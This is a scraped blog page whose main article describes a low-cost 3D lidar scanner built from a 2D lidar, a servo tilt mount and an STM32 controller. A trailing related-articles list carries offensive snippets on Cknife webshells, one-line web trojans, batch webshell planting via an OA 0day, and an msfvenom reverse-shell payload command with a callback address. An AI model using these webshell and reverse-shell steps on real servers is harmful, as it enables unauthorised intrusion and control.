基于二维激光雷达的三维激光扫描系统的设计与实现

article/2025/9/30 22:45:49

CSDN话题挑战赛第2期
参赛话题:学习笔记

学习之路,长路漫漫,写学习笔记的过程就是把知识讲给自己听的过程。这个过程中,我们去记录思考的过程,便于日后复习,梳理自己的思路。学习之乐,独乐乐,不如众乐乐,把知识讲给更多的人听,何乐而不为呢?

激光雷达目前依然是移动机器人和特种机器人导航定位比较理想的设备之一,和其他传感器诸如摄像机、超声波传感器不同,激光雷达以其测距速度快、精度高、获取信息直观的特点,使其比摄像机和超声波传感器在航空、军事和生活等领域得到了更多的使用。机器人通过串口等连接方式获得激光扫描采集的距离和角度信息,经过CPU 的处理计算,从而得到机器人所处环境的2D/3D点云信息。如果再运用诸如SLAM 等定位算法,甚至可以得到机器人在所处环境中的方位,同时创建出机器人搜索过路径的地图。激光测距雷达在特种移动机器人的研究中已成为了和超声波传感器、相机等一样不可缺少的感知周围环境的工具。

激光雷达主要分为二维激光雷达与三维激光雷达两类。二维激光雷达扫描时采用单束点状激光,因此只能单纯采集一个平面的距离信息,他们的原理大同小异,一般都是运用了高速光学振镜来激光扫描大范围的角度,同时通过主动发射和接收反射激光束,计算两束激光相位差来得到距离信息,都是很成熟的工业级产品,拥有一般10Hz 以上的扫描频率和可靠的性能,在精度上也能达到毫米级别,唯一的缺点是他们高昂的价格让人们望而却步。

三维激光雷达,顾名思义就是可以直接得到机器人周围环境的三维立体信息,原理有两种,其中第一种是利用一个二维激光雷达在扫描平面的同时,整个雷达还在另一个平面进行旋转,从而通过两个维度的旋转来得到三维信息。第二种原理是同时有多个激光发射器排列在装置上,同时发出多道激光,64 线激光雷就是其中的代表,此激光雷达能通过64 个激光发射器同时发出64 道激光,其中激光发射器垂直安装排列在旋转的装置上,每个相邻的激光发射器之间有0.4的角度间隔。因为3D激光雷达与2D激光雷达相比能直接得到周围环境的3D 距离信息,所以现在被广泛地应用于三维重建、环境感知、路径规划等领域。但是,三维激光雷达因为其高复杂度的装置构造,自然价格是普通二维激光雷达的几十倍。

本设计中提出了一种低成本3D 激光雷达解决方案并加以实现,原理是以一个普通二维扫描激光雷达为基本设备,再在其下安装一个舵机俯仰装置,将普通二维激光雷达和数字舵机相结合,通过数字舵机在另一个轴的旋转,来对3D扫描雷达的功能进行实现。本设计中的俯仰扫描装置采用数字舵机来实现,通过单片机来控制舵机的转速和转角。

在考虑了成本、精度和稳定性等因素之后,本设计中的三维激光雷达采用了国内团队开发的低成本二维激光雷达(LIDAR)解决方案,价格便宜,而且精度稳定性较好,性价比较高。360 度2D 激光雷达能在6米范围内进行全角度激光测距扫描,能够获取所在平面包含角度和距离信息的
点云地图。在每旋转一周采样360 点的配置下,此激光雷达拥有5.5hz 的扫描频率,特殊情况下的最高扫描频率能达到10hz。此激光雷达是基于激光三角测距的原理,同时搭配一个高速的视觉采集处理装置,每秒可进行高达两千次的测距行为。启动测距功能时,经过处理的红外激光信号从激光雷达发出,此红外激光信号在碰到待测物体后将产生发射光LIDAR 的视觉采集系统可以把反射光接收。LIDAR 内部嵌有DSP 处理器,可以实时对反射光的信息进行解算,最后被照射的待测物体和激光雷达之间的距离值以及此时的转角信息将从串口或者USB 接口中输出。

在这里插入图片描述
本解决方案的3D 激光扫描测距系统组成如图1 所示。整个3D 激光扫描系统主要有三部分组成,分别为一个普通的2D 激光测距雷达、数字舵机俯仰装置、对数字舵机进行控制和对激光雷达数据进行采集的单片机系统。

支架和旋转轴组成的俯仰扫描装置由一个数字舵机来进行驱动。本设计采用STM32 单片机实现激光雷达数据的采集和对数字舵机的控制。STM32 单片机系统可以看作计算机上位机和激光雷达、数字舵机数据通信的桥梁。一方面,STM32 单片机系统通过无线网络或者RS-232 串口和计算机上位机进行数据通信,计算机上位机发送指令信号给单片机系统,单片机系统得到指令则将指令转化为数字舵机与激光雷达的控制信号,从而控制数字舵机回到起始角度、转动指定角度,同时控制激光雷达离开扫描采样模式进入空闲状态、测距核心软重启、进入扫描采样状态、进入扫描采样状态强制数据输出、获取设备序列号等信息、获取设备健康状态等等。另一方面,STM32 单片机通过串口接收2D激光雷达发送的距离值以及当前的转角值,然后向上位机发送当前舵机俯仰角、2D 激光雷达测出的距离值以及当前的转角。 在这里插入图片描述
上图为三维激光扫描雷达的实物图。


http://chatgpt.dhexx.cn/article/bXW8xm0o.shtml

相关文章

激光雷达三维检测包含哪些内容?

点击上方“小白学视觉”,选择加"星标"或“置顶” 重磅干货,第一时间送达 文章导读 本文是针对一篇激光雷达三维目标检测的综述性文章的解读分析《Deep 3D Object Detection Networks Using LiDAR Data A Review》,从激光雷达的基础…

从零开始的三维激光雷达SLAM教程第二讲(搭建Gazebo仿真环境,并添加动态障碍物)

文章目录 引言第二节:搭建仿真环境下载velodyne激光模拟功能包安装turtlebot3模拟器安装三维激光雷达到turtlebot3上构建Gazebo地图添加动态障碍物操作机器人建图最终效果 引言 毕业设计打算做三维激光SLAM,记录一些学习历程,也给后面人一点…

Cknife与一句话木马提权

Cknife:一个管理网站的工具,支持动态脚本的网站的管理,用来连接一句话木马 一句话木马:一句恶意代码,可以是某种脚本语言,用来与客户端建立联系 通过中国菜刀连接一句话木马达到拿下网站webshell

Cknife的安装

下载菜刀,打开Cknife.jar软件 注意:这里的菜刀文件存放的目录不要带有中文 打开 没错,这是我们熟悉的pikachu 但是这个网站的上传漏洞我还没学,所以暂时没法操作(等发了上传漏洞的视频我就来改) 基本思路…

cknife连接失败

这是什么原因啊

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

首先介绍一下IntelliJ IDEA生成jar包的方式: 1、打开项目,打开FIile->Project Structure...菜单.如下图: 选中Artifacts,点号,选择JAR,再选择From modules with dependencies...,如下图: 在打开的界面中…

dvwa 切换php版本以及phpstorm -xdebug的配置使用

最近由于需要对dvwa 进行一些更改,对php啥也不懂的我,开始研究一下php开发环境,以及具体的搭建过程; 首先是需要下载安装破解phpstorm(不多说了,下载官网地址,破解网上一堆文章) 1…

上传漏洞-一句话木马

声明:为什么又写一篇关于一句话木马,对,我第一次没写明白,直写了一句话木马的简单制作,但是还是有很多同学真的看不懂,所以我今天改一下,这次精写! 上传漏洞-一句话木马 讲述内容&…

[对抗训练]“中国菜刀”安装,20180222

[对抗训练]“中国菜刀”安装与使用 一、下载开源代码 从GitHub上下载开源的“中国菜刀”Java项目代码 地址:https://github.com/Chora10/Cknife压缩文件见附件1。 二、将项目存为可执行jar 打开eclipse(或其他java编辑器) 添加解压后的“中国…

我的java16和java8冲突解决办法(java版本冲突解决方法)

我的java16和java8冲突解决办 我的问题 vscode 支持java11以上burpsuite 支持java11以上cknife 只能java8JEB 只能java8全局变量设置java16的路径 对于java8 直接把只支持java8的文件目录放到java8中 在这里中用的是java8,这个目录有java文件 这个脚本可以自动隐藏窗口打开一…

msf上传文件到服务器,利用MSF技巧进入服务器

原标题:利用MSF技巧进入服务器 首先需要一台公网的机器,这是留着方便以后转发或者反弹用的. 1.生成payload的方式 msfvenom -p windows/meterpreter/reverse_tcp LHOST1.2.3.4 LPORT2333 -f exe -o 1234.exe 之后把后门复制出来上传到webshell 推荐不使用exe后缀 因…

mbp 封神台靶场 六(笔记)

打开链接,根据题目提示,flag在c盘根目录下,接上一关的网页后台,打开c盘,发现确实存在flag.txt,但是提示没有权限。 于是知道本关需要我们去进行提权操作,打开D盘,发现cmd.exe和iis6.exe&#xf…

张小白的渗透之路(五)——上传漏洞及解析漏洞详解

前言 web应用程序通常会有文件上传的功能,例如在BBS发布图片、在个人网站发布压缩包,只要web应用程序允许上传文件,就有可能存在文件上传漏洞。 上传漏洞与sql注射相比,风险更大,如果web应用程序存在上传漏洞&#xf…

Kali下常见webshell管理工具汇总

转 自 https://www.ohlinge.cn/kali/kali_webshell.html 0x01 前言 Kali Linux作为一款专为渗透测试而生的Linux操作系统,在安全界的影响广泛。一般的webshell在Windows下面经常使用Chopper(中国菜刀)来管理,那么在Linux下面,有没有类似的工…

菜刀渗透

快速搭建discuz论坛 使用kali下BurpSuite对discuz后台注入php木马 使用Cknife“菜刀”.上传webshell木马到网站 使用Webshell查看mysql数据库密码并盗取数据库 快速搭建discuz论坛 攻击思路 想要拿下一台主机A的权限: 1、了解一下这个服务器:端口,服务器版本…

无法直接打开jar文件,提示“你要以何种方式打开.jar文件”(已解决)

问题引入: 网络安全&CTF竞赛中有很多封装好的工具类似Cknife/CTFcrackTools.jar/Stegsolve.jar需要java环境打开 问题描述: .jar文件只能通过dos命令打开,点击jar文件提示你要以何种方式打开.jar文件,并且选中jdk/bin/java…

开源渗透测试工具合集

子域名枚举工具 子域枚举和信息收集工具 Anubis 项目地址:https://github.com/jonluca/Anubis使用名为 Hacking with search engine 的技术列出有关主域的子域 N4xD0rk 项目地址:https://github.com/n4xh4ck5/N4xD0rk子域名爆破枚举工具 subDomainsBrut…

DVWA的upload文件上传漏洞(全难度)(小白向)

提示:只是为了方便理解,但不一定符合您的要求 文章目录 一、等级:low 二、等级:medium 三、等级:high 四:等级:impossible 前言 靶机ip:192.168.229.145 DVWA版本:v1.…

c php乱码,Cknife的PHP功能部分修正,解决SHELL无法回显以及中文乱码

在现在满大街菜刀都存在后门问题的时候,Cknife横空出世了。因为开源,所以安全。因为可操作的空间挺大的,也十分适合过各种WAF。下面就是解决两个常见问题的过程。希望可以帮到各位白帽子。 但是使用过程中也遇到了一些小问题,被吐槽最多的就是…

致远OA_0day批量植Cknife马一步到位

最近各位师傅都在刷这个嘛,原本的exp是上传一个test123456.jsp的命令执行的马子,不过我在试的时候发现替换成C刀一句话出错,原因未知,并且test123456.jsp如果存在的话用原来exp是无法覆盖的。参考改进了t00ls师傅的代码(https://www.t00ls.ne…